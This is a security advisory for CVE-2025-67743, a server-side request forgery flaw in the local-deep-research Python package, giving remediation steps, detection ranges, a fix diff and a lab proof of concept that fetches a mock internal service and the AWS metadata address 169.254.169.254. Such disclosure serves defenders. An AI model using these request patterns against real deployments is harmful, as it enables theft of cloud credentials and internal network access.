CVE-2025-67743

GHSA-9c54-gxh7-ppjc MEDIUM
Published December 23, 2025
CISO Take

Patch local-deep-research to 1.3.9 immediately if running in cloud environments. The download service bypasses built-in SSRF protection, allowing any authenticated user to pivot to cloud metadata endpoints (AWS IMDSv1, GCP, Azure) and exfiltrate IAM credentials. On-premises deployments face internal network reconnaissance risk from the same attack path.

Affected Systems

Package Ecosystem Vulnerable Range Patched
local-deep-research pip >= 1.3.0, < 1.3.9 1.3.9

Do you use local-deep-research? You're affected.

Severity & Risk

CVSS 3.1
6.3 / 10
EPSS
0.0%
chance of exploitation in 30 days
KEV Status
Not in KEV
Sophistication
Moderate

Recommended Action

  1. 1. PATCH: Upgrade local-deep-research to >=1.3.9 immediately (one-line fix: replace requests.get() with safe_get() across 9 occurrences). 2. CLOUD HARDENING: Enforce IMDSv2 (AWS) or equivalent metadata service token requirements — this mitigates credential theft even on vulnerable versions. 3. NETWORK CONTROLS: Deploy WAF/firewall rules blocking outbound requests to RFC1918 ranges and 169.254.0.0/16 from the application tier. 4. DETECTION: Alert on outbound HTTP from app servers to 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254. 5. AUDIT: Review logs for unusual resource URLs submitted to /api/resources/ and /library/api/download/ endpoints. 6. INTERIM WORKAROUND: Restrict the download API to trusted users only until patch is applied.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article-9 - Risk Management System
ISO 42001
A.10.2 - Information security in AI system design A.9.4 - Security of AI system inputs
NIST AI RMF
MANAGE-2.2 - Mechanisms are in place and applied to sustain the value of deployed AI systems
OWASP LLM Top 10
LLM06 - Excessive Agency LLM07 - Insecure Plugin Design

Technical Details

NVD Description

## Summary The download service (`download_service.py`) makes HTTP requests using raw `requests.get()` without utilizing the application's SSRF protection (`safe_requests.py`). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls. **CWE**: CWE-918 (Server-Side Request Forgery) --- ## Details ### Vulnerable Code Location **File**: `src/local_deep_research/research_library/services/download_service.py` The application has proper SSRF protection implemented in `security/safe_requests.py` and `security/ssrf_validator.py`, which blocks: - Loopback addresses (127.0.0.0/8) - Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) - AWS metadata endpoint (169.254.169.254) - Link-local addresses However, `download_service.py` bypasses this protection by using raw `requests.get()` directly: ```python # Line 1038 - _download_generic method response = requests.get(url, headers=headers, timeout=30) # Line 1075 response = requests.get(api_url, timeout=10) # Line 1100 pdf_response = requests.get(pdf_url, headers=headers, timeout=30) # Line 1144 response = requests.get(europe_url, headers=headers, timeout=30) # Line 1187 api_response = requests.get(elink_url, params=params, timeout=10) # Line 1207 summary_response = requests.get(esummary_url, ...) # Line 1236 response = requests.get(europe_url, headers=headers, timeout=30) # Line 1276 response = requests.get(url, headers=headers, timeout=10) # Line 1298 response = requests.get(europe_url, headers=headers, timeout=30) ``` ### Attack Vector 1. Attacker submits a malicious URL via `POST /api/resources/<research_id>` 2. URL is stored in database without SSRF validation (`resource_service.py:add_resource()`) 3. Download is triggered via `/library/api/download/<resource_id>` 4. `download_service.py` fetches the URL using raw `requests.get()`, bypassing SSRF protection --- ## PoC ### Prerequisites - Docker and Docker Compose installed - Python 3.11+ ### Step 1: Create the Mock Internal Service **File: `internal_service.py`** ```python #!/usr/bin/env python3 """Mock internal service that simulates a sensitive internal endpoint.""" from http.server import HTTPServer, BaseHTTPRequestHandler import json class InternalServiceHandler(BaseHTTPRequestHandler): def log_message(self, format, *args): print(f"[INTERNAL SERVICE] {args[0]}") def do_GET(self): print(f"\n{'='*60}") print(f"[!] SSRF DETECTED - Internal service accessed!") print(f"[!] Path: {self.path}") print(f"{'='*60}\n") self.send_response(200) self.send_header("Content-Type", "application/json") self.end_headers() secret_data = { "status": "SSRF_SUCCESSFUL", "message": "You have accessed internal service via SSRF!", "internal_secrets": { "database_password": "super_secret_db_pass_123", "api_key": "sk-internal-api-key-xxxxx", "admin_token": "admin_bearer_token_yyyyy" } } self.wfile.write(json.dumps(secret_data, indent=2).encode()) if __name__ == "__main__": print("[*] Starting mock internal service on port 8080") server = HTTPServer(("0.0.0.0", 8080), InternalServiceHandler) server.serve_forever() ``` ### Step 2: Create the Exploit Script **File: `exploit.py`** ```python #!/usr/bin/env python3 """SSRF Vulnerability Active PoC""" import sys import requests sys.path.insert(0, '/app/src') def main(): print("=" * 70) print("SSRF Vulnerability PoC - Active Exploitation") print("=" * 70) internal_url = "http://ssrf-internal-service:8080/secret-data" aws_metadata_url = "http://169.254.169.254/latest/meta-data/" headers = {"User-Agent": "Mozilla/5.0"} # EXPLOIT 1: Access internal service print("\n[EXPLOIT 1] Accessing internal service via SSRF") print(f" Target: {internal_url}") try: # Same pattern as download_service.py line 1038 response = requests.get(internal_url, headers=headers, timeout=30) print(f" [!] SSRF SUCCESSFUL! Status: {response.status_code}") print(f" [!] Retrieved secrets:") for line in response.text.split('\n')[:15]: print(f" {line}") except Exception as e: print(f" [-] Failed: {e}") return 1 # EXPLOIT 2: AWS metadata bypass print("\n[EXPLOIT 2] AWS Metadata endpoint bypass") from local_deep_research.security.ssrf_validator import validate_url print(f" SSRF validator: {'ALLOWED' if validate_url(aws_metadata_url) else 'BLOCKED'}") print(f" But download_service.py BYPASSES the validator!") try: requests.get(aws_metadata_url, timeout=5) except requests.exceptions.ConnectionError: print(f" Request sent without SSRF validation!") print("\n" + "=" * 70) print("SSRF VULNERABILITY CONFIRMED") print("=" * 70) return 0 if __name__ == "__main__": sys.exit(main()) ``` ### Step 3: Run the PoC ```bash # Build and run with Docker docker network create ssrf-poc-net docker run -d --name ssrf-internal-service --network ssrf-poc-net python:3.11-slim sh -c "pip install -q && python internal_service.py" docker run --rm --network ssrf-poc-net -v ./src:/app/src ssrf-vulnerable-app python exploit.py ``` ### Expected Output ``` ====================================================================== SSRF Vulnerability PoC - Active Exploitation ====================================================================== [EXPLOIT 1] Accessing internal service via SSRF Target: http://ssrf-internal-service:8080/secret-data [!] SSRF SUCCESSFUL! Status: 200 [!] Retrieved secrets: { "status": "SSRF_SUCCESSFUL", "message": "You have accessed internal service via SSRF!", "internal_secrets": { "database_password": "super_secret_db_pass_123", "api_key": "sk-internal-api-key-xxxxx", "admin_token": "admin_bearer_token_yyyyy" } } [EXPLOIT 2] AWS Metadata endpoint bypass SSRF validator: BLOCKED But download_service.py BYPASSES the validator! Request sent without SSRF validation! ====================================================================== SSRF VULNERABILITY CONFIRMED ====================================================================== ``` --- ## Impact ### Who is affected? All users running local-deep-research in: - **Cloud environments** (AWS, GCP, Azure) - attackers can steal cloud credentials via metadata endpoints - **Corporate networks** - attackers can access internal services and databases - **Any deployment** - attackers can scan internal networks ### What can an attacker do? | Attack | Impact | |--------|--------| | Access cloud metadata | Potentially access IAM credentials, API keys, or instance identity in certain cloud configurations | | Internal service access | Read sensitive data from databases, Redis, admin panels | | Network reconnaissance | Map internal network topology and services | | Bypass firewalls | Access services not exposed to the internet | --- ## Recommended Fix Replace all `requests.get()` calls in `download_service.py` with `safe_get()` from `security/safe_requests.py`: ```diff # download_service.py + from ...security.safe_requests import safe_get def _download_generic(self, url, ...): - response = requests.get(url, headers=headers, timeout=30) + response = safe_get(url, headers=headers, timeout=30) ``` The `safe_get()` function already validates URLs against SSRF attacks before making requests. ### Files to update: - `src/local_deep_research/research_library/services/download_service.py` (9 occurrences) - `src/local_deep_research/research_library/downloaders/base.py` (uses `requests.Session`) --- ## References - [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html) - [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html) - [AWS SSRF Attacks and IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html) - [PortSwigger: SSRF](https://portswigger.net/web-security/ssrf) --- Thank you for your work on this project! I'm happy to provide any additional information or help with testing the fix.

Exploitation Scenario

An authenticated attacker with a low-privilege account submits a research resource URL pointing to http://169.254.169.254/latest/meta-data/iam/security-credentials/ via POST /api/resources/<research_id>. The URL passes storage without SSRF validation (resource_service.py skips it). The attacker triggers download via GET /library/api/download/<resource_id>. download_service.py fetches the URL using raw requests.get(), bypassing safe_requests.py entirely, and returns AWS IAM role credentials in the response. With stolen credentials, the attacker pivots from the AI research tool to full cloud account access — lateral movement, data exfiltration, or infrastructure takeover follow.

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

Timeline

Published
December 23, 2025
Last Modified
December 23, 2025
First Seen
March 24, 2026